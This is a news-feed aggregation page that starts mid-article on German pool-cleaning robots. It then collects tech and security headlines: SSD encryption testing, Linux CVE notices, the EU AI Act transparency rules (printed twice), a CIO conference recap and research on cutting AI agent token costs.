Wenn Ihnen die Wandreinigung am Herzen liegt, insbesondere im Bereich der Wasserlinie, erweist sich dieses Detail letztendlich als ziemlich wichtig.



Mythos 6: Nur die Saugkraft zählt



Realität: Bürsten sind genauso wichtig



Die Saugkraft ist der offensichtlichste Leistungswert eines Poolroboters. Sie sorgt dafür, dass Schmutz aufgenommen und in den Filter befördert wird. Auch ich ging zunächst davon aus, dass sie den größten Teil der Reinigungsarbeit übernimmt.



Tatsächlich ist sie jedoch nur ein Teil des Gesamtsystems. Eine hohe Saugleistung allein führt nicht automatisch zu einer besseren oder effizienteren Reinigung.



Mindestens ebenso wichtig sind die Bürsten. Sie lösen Schmutz, der an den Wänden oder am Boden des Pools haftet, bevor der Roboter ihn aufsaugt. Ein Modell, das hauptsächlich auf Saugkraft setzt, kann deshalb hartnäckigere Ablagerungen übersehen.


Christoph Hoffmann



Umgekehrt reicht auch kräftiges Bürsten ohne ausreichende Saugkraft nicht aus. Der Schmutz wird zwar gelöst, aber nicht vollständig aufgenommen.



Wie wichtig dieses Zusammenspiel ist, zeigt sich besonders beim Vergleich günstiger und höherpreisiger Modelle. Leistungsfähigere Bürstensysteme in Verbindung mit einer guten Saugkraft reinigen meist schneller und hinterlassen weniger Schmutzrückstände.



Mythos 7: Ein Filter ist nur ein Filter



Realität: Die Filterqualität macht einen großen Unterschied



Über die Filter hatte ich mir zuvor kaum Gedanken gemacht. Ein Filter ist schließlich nur das Bauteil, das den aufgesaugten Schmutz im Inneren des Roboters auffängt – oder?



Ganz so einfach ist es nicht.



Feinere Filter können auch kleinere Partikel wie Staub und Pollen zurückhalten. Solche Verunreinigungen fallen auf den ersten Blick kaum auf, beeinflussen aber deutlich, wie klar das Wasser wirkt. Genau darin liegt häufig der Unterschied zwischen einem Pool, der lediglich sauber aussieht, und tatsächlich klarem Wasser.



Eine bessere Filterung reduziert zudem den Aufwand für die manuelle Nachreinigung. Gleichzeitig steigt die Wahrscheinlichkeit, dass der Roboter bei jedem Durchlauf gleichmäßig gute Ergebnisse erzielt.



Abschließende Erkenntnisse



Roboter-Poolreiniger sind deutlich vielseitiger, als ich zunächst angenommen hatte. Moderne Modelle können erstaunlich viel leisten, sind jedoch keine Wundermittel.



Ihr Nutzen erschließt sich vor allem dann, wenn man versteht, wofür sie konzipiert wurden: für eine regelmäßige, möglichst mühelose Pflege. Einen stark vernachlässigten oder bereits gekippten Pool können sie nicht allein retten. Bei konsequentem Einsatz helfen sie jedoch zuverlässig dabei, das Becken dauerhaft sauber zu halten.




Nobody was checking the drives that encrypt your laptop
Tue, 21 Jul 2026 08:24:16 +0200
A drive ships with a label promising hardware encryption. You plug it in, set a password, and trust the chip inside to handle the rest. Millions of laptops and workstations run this way, on solid-state drives built to the TCG…
Read more →
The post Nobody was checking the drives that encrypt your laptop appeared first on IT Security News.


Nine to axe 30 jobs at the Age and SMH due to ‘extreme’ AI disruption
Tue, 21 Jul 2026 08:19:46 +0200
Staff told positions will be cut via voluntary and targeted redundancies as part of ‘evolution’
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Australia’s biggest media company, Nine Entertainment, has blamed the “extreme state of disruption” from AI for its decision to cut another 30 newsroom jobs at the Sydney Morning Herald and the Age.
On Tuesday, the managing director of publishing, Tory Maguire, told staff the company was looking to cut “around 30” positions, made up of voluntary and targeted redundancies. Maguire said the exercise was not simply a matter of cutting costs, but was an “evolution” to adapt to structural change.
 Continue reading...


So aktivieren Sie den Dark Mode im VLC Media Player und schonen die Augen
Tue, 21 Jul 2026 08:13:16 +0200





In der Version 3.0.23 haben die Entwickler dem VLC Media Player einen Dark Mode mit auf den Weg gegeben. Um ihn einzuschalten, klicken Sie im Menü „Werkzeuge“ auf „Einstellungen“ und stellen daraufhin sicher, dass Sie sich im Register „Interface“ befinden. Setzen Sie dort ein Häkchen vor die Option „Dunkle Palette verwenden“ und klicken Sie auf „Speichern“. 


Der VLC Media Player bringt jetzt auch einen Dark Mode mit. Er lässt sich über eine Option in den Interface-Einstellungen aktivieren.
Foundry



Achtung: Die Funktion arbeitete bei Redaktionsschluss noch nicht perfekt. Einige Schaltflächen sind anschließend nicht mehr lesbar. Das änderte sich im Test auch nicht, als wir das Häkchen wieder löschten und in den hellen Modus zurückkehrten. Erst nach einem Neustart von VLC erhielten wir wieder das gewohnte und korrekte Erscheinungsbild.



Lesetipp: Power-Tipps für den VLC Media Player




European Password Manager Passwork Shares Codebase and Updates With FSTEC-Certified Russian Firm
Tue, 21 Jul 2026 08:08:32 +0200
Passwork Europe, a Spain-based password manager used by European public sector bodies, universities, and private organizations, is facing scrutiny after an investigation led by OCCRP uncovered technical and historical connections to a Russian counterpart certified by Russian state agencies. The investigation found that Passwork Europe S.L. and Russia’s Passwork LLC share a common codebase origin, […]
The post European Password Manager Passwork Shares Codebase and Updates With FSTEC-Certified Russian Firm appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.


Nobody was checking the drives that encrypt your laptop
Tue, 21 Jul 2026 07:37:39 +0200
A drive ships with a label promising hardware encryption. You plug it in, set a password, and trust the chip inside to handle the rest. Millions of laptops and workstations run this way, on solid-state drives built to the TCG Opal2 standard. Milan Brož and three colleagues bought 38 of those drives and ran them through a test bench. Brož maintains cryptsetup, the tool that configures disk encryption on most Linux systems. The drives came … More →
The post Nobody was checking the drives that encrypt your laptop appeared first on Help Net Security.


CVE-2026-64090 | Linux Kernel up to 7.0.10 Batman Adv state issue (Nessus ID 328328)
Tue, 21 Jul 2026 06:25:51 +0200
A vulnerability, which was classified as very critical, was found in Linux Kernel up to 7.0.10. This vulnerability affects unknown code of the component Batman Adv. Executing a manipulation can lead to state issue.

The identification of this vulnerability is CVE-2026-64090. The attack may be launched remotely. There is no exploit available.


The EU’s AI transparency deadline is weeks away. Is your enterprise ready?
Tue, 21 Jul 2026 04:02:28 +0200

		
					  
						




Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.



After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”



Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”



Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.



“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”



A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.



Transparency requirements



The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.



“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.



Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.



Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.



AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.



The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.



Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.



However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”



A consistent code of practice



Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.



Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.



Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.



Criteria for compliance 



Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.



B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.



Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.



“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.



Creating a transparency pipeline



Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.



Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.



The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.



“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.



Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”



Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.



His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.



Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.



To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.



“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.



This article originally appeared on CIO.com.



The EU’s AI transparency deadline is weeks away. Is your enterprise ready?
Tue, 21 Jul 2026 03:48:17 +0200

		
					  
						




Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.



After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”



Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”



Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.



“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”



A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.



Transparency requirements



The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.



“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.



Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.



Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.



AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.



The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.



Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.



However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”



A consistent code of practice



Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.



Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.



Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.



Criteria for compliance 



Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.



B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.



Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.



“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.



Creating a transparency pipeline



Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.



Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.



The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.



“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.



Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”



Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.



His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.



Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.



To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.



“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.



CVE-2026-64125 | Linux Kernel up to 7.0.10 Bcmgenet bcmgenet_eee_enable_set state issue (CNNVD-2026-98270140)
Tue, 21 Jul 2026 01:08:19 +0200
A vulnerability categorized as critical has been discovered in Linux Kernel up to 7.0.10. The affected element is the function bcmgenet_eee_enable_set of the component Bcmgenet. Such manipulation leads to state issue.

This vulnerability is documented as CVE-2026-64125. The attack can be executed remotely. There is not any exploit available.


CIO 100 Leadership Live New York: CIOs push past AI pilots for measurable returns
Tue, 21 Jul 2026 01:07:24 +0200

		
					  
						




Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for CIO 100 Leadership Live New York, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.



Several key areas of consensus emerged throughout this highly interactive event. Infrastructure fragmentation continues to block the path to securing returns on AI investments prompting leaders to understand rising cloud spend attributed to large language model utilization. This has caused a growing number of organizations to refocus on on-premises and hybrid options in C-suite and board-level capital planning conversations. Speakers, along with comments from the audience, described a shift from project thinking to product thinking, with smaller multidisciplinary teams moving faster than legacy structures.



Several participants repeatedly warned that automating broken processes just amplifies dysfunction. Governance and measurement remain unresolved, with usage metrics still getting mistaken for business value. One of the panels explored how CIOs may benefit from applying venture capital-style scrutiny to enterprise bets, weighing team execution as heavily as the technology itself. The throughline was a redefinition of the CIO role, from technology executor to business strategist fluent in revenue, board engagement, and transformation ownership.



Morning roundtable tackles AI infrastructure



The day opened with an invitation-only executive breakfast roundtable, “Beyond the Pilot, Building the Infrastructure for Real AI Returns,” co-hosted by Unisys and Dell Technologies. Over a dozen executives representing major public and private sector organizations across the New York metropolitan area joined Steve Hollander, senior director of Americas global alliances at Dell Technologies, and Matt Marshall, CIO at Unisys for a workshop-style discussion.



The session explored the strategic, operational, financial, and technological issues that must be mastered to optimize infrastructure decisions and separate organizations that are experimenting with AI from those competing on it. Discussion questions probed how CIOs measure whether AI investment is translating into business results, how they can break the cycle of fragmented and siloed AI deployments, how boards are beginning to scrutinize seven-figure token spend and whether on-premises or hybrid infrastructure can rein in costs.



The take-home point: the organizations pulling ahead are the ones that stopped treating AI as four separate problems, strategic, operational, financial, technological, owned by four separate functions, and started running it as one coordinated decision. Fragmentation is the actual cost center here, not the token spend itself. A CIO who solves the infrastructure question in isolation from the governance question, or the cost question in isolation from the talent question, ends up optimizing one silo while the other three keep bleeding value. Competing on AI, instead of just experimenting with it, means the finance, operations, technology and business sides are reasoning from the same picture of what’s being built and why, so the tradeoffs get made once, together, instead of getting re-litigated at every handoff.



Forum sessions open with a mandate for growth



Following breakfast, the main forum program began with “The New CIO Mandate, Delivering Growth, Not Just Technology.” In a moderated conversation, Laksh Nathan, chief information officer at Paramount Skydance, drew on his experience with mergers, enterprise transformation and AI-enabled development to describe a shift from project and application management toward a product-centric operating model. Nathan addressed how smaller, multidisciplinary teams are changing expectations on both the business and technology sides of the enterprise, and what mindset changes CIOs must lead to turn AI into an engine of growth rather than a cost center.



PwC followed with a session on “Designing the Intelligent Enterprise, From AI Investment to Evolving Operations.” Darren O’Meara, principal and chief technology officer for managed services, and Meghna Shah, principal for engineering and AI, examined why fragmented outcomes persist even after heavy investment in technology and transformation.



The intelligent enterprise, they posited, is less about working toward achieving specific technology outcomes and more about creating operating models that integrate strategy, technology, operations, and governance into one system. This, they explained, requires linking AI, data, and decisions across the business and will leave an indelible mark on how decision rights are redesigned, funding models are developed, and accountability is enforced to accommodate the speed of the agentic economy.



Talent, tradeoffs, and the cost of getting it wrong



The session “Return on Transformation: Time, Talent, and Tradeoffs” — with Prashant Hinge, chief information and transformation officer at MSIG USA; Joseph Gimigliano, chief technology officer at Northwell Health; and Eduard de Vries Sands, AI executive advisor at PatientPoint — examined why transformation initiatives so often lose their way.



The main culprit, even today in 2026, continues to revolve around a persistent instinct for technology implementations to become the objective rather than the means to a measurable business outcome. The panelists made the case for doing the incredibly difficult work of re-engineering (if not entirely re-imagining) existing processes before automating them and then placing smaller bets inside that bigger vision.



Ricky Thakrar, head of sales and account management at Zoho, took the stage to present “Smaller, Smarter, Safer, The Enterprise AI Architecture Most Leaders Get Backwards,” arguing that constrained, context-rich architectures consistently outperform expensive models bolted onto fragmented systems.



A round of Hot Topic Discussion Groups and a networking lunch followed, including the Next CIO Luncheon featuring Robert Half Regional Director Jason Deneu.



Afternoon sessions turn to security, scale, and investment signals



CSO and CIO Contributor Joan Goodchild moderated “Securing Trust in the Agentic Economy,” a discussion with Marlowe Cochran, CISO at the New York State Education Department, and Gee Rittenhouse, vice president of security services at AWS, on how organizations are balancing speed, innovation and security as AI agents move from experimentation into productization at scale.



Rittenhouse framed agentic risk as closer to human risk than traditional software risk, describing how an independent agent acting in a non-deterministic way really does look like a potential insider threat, pushing CISOs toward behavioral monitoring over static workload protection. He tied this to a structural shift in defense, noting it’s hard to do agentic security if you’re not observing it, putting observability at the center of agentic risk management.



Cochran concurred, adding that many of the key tools that are needed to move into the agentic economy already exist, but must be implemented more aggressively, comprehensively and even more creatively. CISOs don’t need to invent an entirely new security discipline for the agentic era so much as extend identity management, access control and monitoring frameworks they already run to cover a new class of non-human actor — agents.



A session on “AI, From Experimentation to Enterprise Impact” brought together Meagan Gentry, national AI practice manager and distinguished technologist at Insight and Yuri Gubin, chief technology officer at DataArt, for a candid look at why pilots stall before reaching scaled production and what operating capabilities, governance, cost visibility, continuous education, must be in place to sustain AI once a proof of concept works.



During the session’s Q&A segment, a discussion emerged around how proof-of-concept success can result in a false signal, raising questions about whether pilots should be considered successful before the intended outcomes have had time to materialize, and drawing a distinction between measuring usage and adoption versus measuring business value.



The panelists explored how CIOs can identify the small number of transformational AI opportunities worth pursuing rather than managing hundreds of incremental use cases, and even challenged whether prioritization is the CIO’s job at all. The discussion closed on a sequencing question with real strategic weight, whether AI-first strategies are putting the technology ahead of the business problem CIOs are trying to solve, and what role CIOs should play with boards in defining the outcomes AI is expected to support.



A shift in perspectives



The “Think Like a VC, Investment Shifts Towards Focused AI Applications” session featured three venture investors, Aaron Darr, partner at Lead Edge; Isabelle Phelps, partner at Lerer Hippeau; and Marshall Porter, general partner at AlleyCorp. The panel explored how investors evaluate risk and talent in a market where products and competitive positions can shift within months, and what separates a focused AI application with durable enterprise value from an AI wrapper built to chase a trend.



The panel challenged the enterprise instinct to seek certainty in a market moving this fast, questioning whether CIOs should stop looking for technologies that will future-proof the enterprise and instead grow more comfortable continuously reassessing their bets. Investors framed this as a deliberate departure from the traditional low-tolerance-for-failure posture that has long governed enterprise technology purchasing, arguing that the search for certainty has itself become a risk in a market where products and business models can shift within months. The discussion pressed CIOs to weigh how they can adopt a more dynamic investment mindset without compromising the enterprise security, governance and accountability their organizations still depend on.



A Lightning Insights followed, featuring five-minute briefings from Insight, Platform9 and Console, followed by Keystone Senior Principal Ellora Sarkar’s talk on why most enterprise AI investment fails to produce measurable value and what separates the small share of firms capturing real return on investment from the majority still stuck in pilots.



Closing the day



The forum closed with “What’s Next for the CIO, Preparing for the Next 12 to 24 Months,” a fireside conversation with Leif Maiorini, CIO for corporate services at Omnicom. Maiorini discussed why business processes need to be redesigned for agentic speed rather than automated around existing human workflows, how organizational structures may shift as autonomous agents reshape visibility and decision support, and where sustainable differentiation will come from once AI capability itself becomes widely accessible.



Maiorini encouraged the industry to clearly distinguish between nondifferentiated services that should be made as efficient as possible and the differentiated capabilities that actually influence why customers choose to do business with an organization, once the major efficiency gains from optimization and AI have been captured.



He was candid about the governance gap agentic systems open up, noting that agents lack the professional reputation, personal accountability and inherent constraints that shape human behavior, which creates new risk when autonomous decisions occur at machine speed. That combination, reinvesting efficiency gains into genuine differentiation while building governance models suited to non-human decision-makers, framed his closing case for why human creativity and judgment remain the enterprise’s most durable asset even as the underlying technology becomes commoditized.



Join the CIO 100 Awards & Conference Aug 17–19, 2026 at Omni PGA Frisco Resort & Spa, Frisco, TX — where top IT leaders celebrate innovation and connect.  Learn more to attend or partner.



Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy
Mon, 20 Jul 2026 23:48:13 +0200
Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.
A new paper from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. 
By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.
Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.
The ROI crisis of tokenmaxxing
The current state of AI engineering is plagued by "tokenmaxxing," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. 
Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. 
"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. 
"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."
Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.
The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: 
Prompt compression condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. 
Budgeted reasoning caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. 
Terse coding forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. 
Speculative decoding uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.
These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.
Unpacking the harness: the levers of efficiency
The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.
The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. 
As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”
Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. 
For enterprises, this reframes the "own-versus-rent" decision. 
"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." 
Inside the experiments
To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. 
Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.
The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.
The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.
Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.
End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.
However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.
Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).
The developer’s playbook: actionable takeaways and tradeoffs
The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."
Structure for system prompt caching (The Two-Zone Prompt): Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.
